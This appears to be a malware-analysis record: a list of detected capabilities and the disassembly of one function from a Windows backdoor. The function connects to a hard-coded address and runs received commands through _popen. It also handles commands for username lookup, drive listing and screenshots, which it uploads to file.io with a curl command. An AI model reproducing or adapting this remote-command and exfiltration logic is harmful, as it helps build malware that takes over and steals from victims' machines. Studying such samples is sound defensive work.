Function at 0x401584
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute command
Get disk information
Get session user name
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request

Disassembly:
push rbp
mov eax, 0x1a50
call fcn.00402d60
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x1810]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x4015d4
lea rax, str.Failed_to_initialize_Winsock._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x401c6a
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x19c0], rax
cmp qword [rbp + 0x19c0], 0xffffffffffffffff
jne 0x401620
lea rax, str.Failed_to_create_socket._n
mov rcx, rax
call sym.printf
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401c6a
mov word [rbp + 0x1800], 2
mov ecx, 0x50
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x1802], ax
lea rax, str.192.168.91.128
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x1804], eax
lea rdx, [rbp + 0x1800]
mov rax, qword [rbp + 0x19c0]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jns 0x4016b0
lea rax, str.Failed_to_connect_to_the_server._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x19c0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401c6a
lea rax, [rbp + 0x1400]
movabs rdx, 0x5448202f20544547
movabs rcx, 0xa0d312e312f5054
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdx, 0x6f6c203a74736f48
movabs rcx, 0xd74736f686c6163
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov dword [rax + 0x20], 0xa0d0a
lea rax, [rbp + 0x1400]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x1400]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
test eax, eax
jns 0x401762
lea rax, str.Failed_to_send_request._n
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x19c0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 1
jmp 0x401c6a
lea rdx, [rbp + 0x400]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
test eax, eax
jns 0x4017a5
lea rax, str.Failed_to_receive_response._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x401c6a
movzx edx, byte [0x0040a0a0]
movzx eax, byte [rbp + 0x400]
movzx edx, dl
movzx eax, al
sub edx, eax
test edx, edx
je 0x401c48
lea rax, [rbp + 0x400]
mov r8d, 3
mov rdx, rax
lea rax, [0x0040a0a2]
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x401847
lea rax, [rbp + 0x1400]
movabs rdx, 0x642065676e616863
movabs rcx, 0x79726f7463657269
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov word [rax + 0x10], 0xa
lea rax, [rbp + 0x1400]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x1400]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401762
lea rax, [rbp + 0x400]
mov r8d, 3
mov rdx, rax
lea rax, [0x0040a0a6]
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x4018c5
lea rax, [rbp + 0x1400]
movabs rcx, 0x636e756620647770
mov qword [rax], rcx
movabs rcx, 0xa6e6f6974636e
mov qword [rax + 6], rcx
lea rax, [rbp + 0x1400]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x1400]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401762
lea rax, [rbp + 0x400]
mov r8d, 6
mov rdx, rax
lea rax, str.whoami
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x40193c
mov dword [rbp + 0x3fc], 0x64
lea rdx, [rbp + 0x3fc]
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetUserNameA]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401762
lea rax, [rbp + 0x400]
mov r8d, 0xa
mov rdx, rax
lea rax, str.screenshot
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x401a2d
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 0x2c
mov rax, qword [sym.imp.USER32.dll_keybd_event]
call rax
mov r9d, 0
mov r8d, 2
mov edx, 0
mov ecx, 0x2c
mov rax, qword [sym.imp.USER32.dll_keybd_event]
call rax
lea rax, str.curl__F_file_screenshot.png_https:__file.io___result.txt
mov rcx, rax
call sym.system
lea rax, [0x0040a0fc]
mov rdx, rax
lea rax, str.result.txt
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x19a8], rax
mov rdx, qword [rbp + 0x19a8]
lea rax, [rbp - 0x20]
mov r8, rdx
mov edx, 0x64
mov rcx, rax
call sym.fgets
mov rax, qword [rbp + 0x19a8]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401762
lea rax, [rbp + 0x400]
mov r8d, 6
mov rdx, rax
lea rax, str.drives
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x401b0e
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
call rax
mov dword [rbp + 0x19b4], eax
mov dword [rbp + 0x19cc], 0
mov dword [rbp + 0x19c8], 0
jmp 0x401abc
mov eax, dword [rbp + 0x19c8]
mov edx, 1
mov ecx, eax
shl edx, cl
mov eax, edx
and eax, dword [rbp + 0x19b4]
test eax, eax
je 0x401ab5
mov eax, dword [rbp + 0x19c8]
add eax, 0x41
mov edx, eax
mov eax, dword [rbp + 0x19cc]
cdqe
mov byte [rbp + rax + 0x3e0], dl
add dword [rbp + 0x19cc], 1
add dword [rbp + 0x19c8], 1
cmp dword [rbp + 0x19c8], 0x19
jle 0x401a79
mov eax, dword [rbp + 0x19cc]
cdqe
mov byte [rbp + rax + 0x3e0], 0
lea rax, [rbp + 0x3e0]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x3e0]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401762
lea rax, [rbp + 0x400]
mov r8d, 7
mov rdx, rax
lea rax, str.persist
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x401baf
lea rax, [rbp + 0x1400]
movabs rdx, 0x2074736973726550
movabs rcx, 0x7720737365636361
mov qword [rax], rdx
mov qword [rax + 8], rcx
movabs rdx, 0x722073776f646e69
movabs rcx, 0x2e72657473696765
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov dword [rax + 0x20], 0xa2e2e
lea rax, [rbp + 0x1400]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp + 0x1400]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
jmp 0x401762
lea rdx, [rbp + 0x400]
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.strcpy
lea rax, [rbp - 0x60]
lea rdx, [0x0040a0fc]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__popen]
call rax
mov qword [rbp + 0x19b8], rax
jmp 0x401c10
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.strlen
mov ecx, eax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp + 0x19c0]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rdx, qword [rbp + 0x19b8]
lea rax, [rbp - 0x20]
mov r8, rdx
mov edx, 0x400
mov rcx, rax
call sym.fgets
test rax, rax
jne 0x401be2
mov rax, qword [rbp + 0x19b8]
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__pclose]
call rax
jmp 0x401762
nop
mov rax, qword [rbp + 0x19c0]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x1a50
pop rbp
ret